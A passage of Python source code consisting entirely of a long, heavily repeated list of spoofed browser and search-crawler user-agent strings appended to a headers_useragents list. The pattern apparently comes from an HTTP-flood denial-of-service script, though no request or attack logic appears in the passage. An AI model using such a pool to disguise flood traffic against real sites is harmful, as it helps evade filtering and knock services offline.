CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 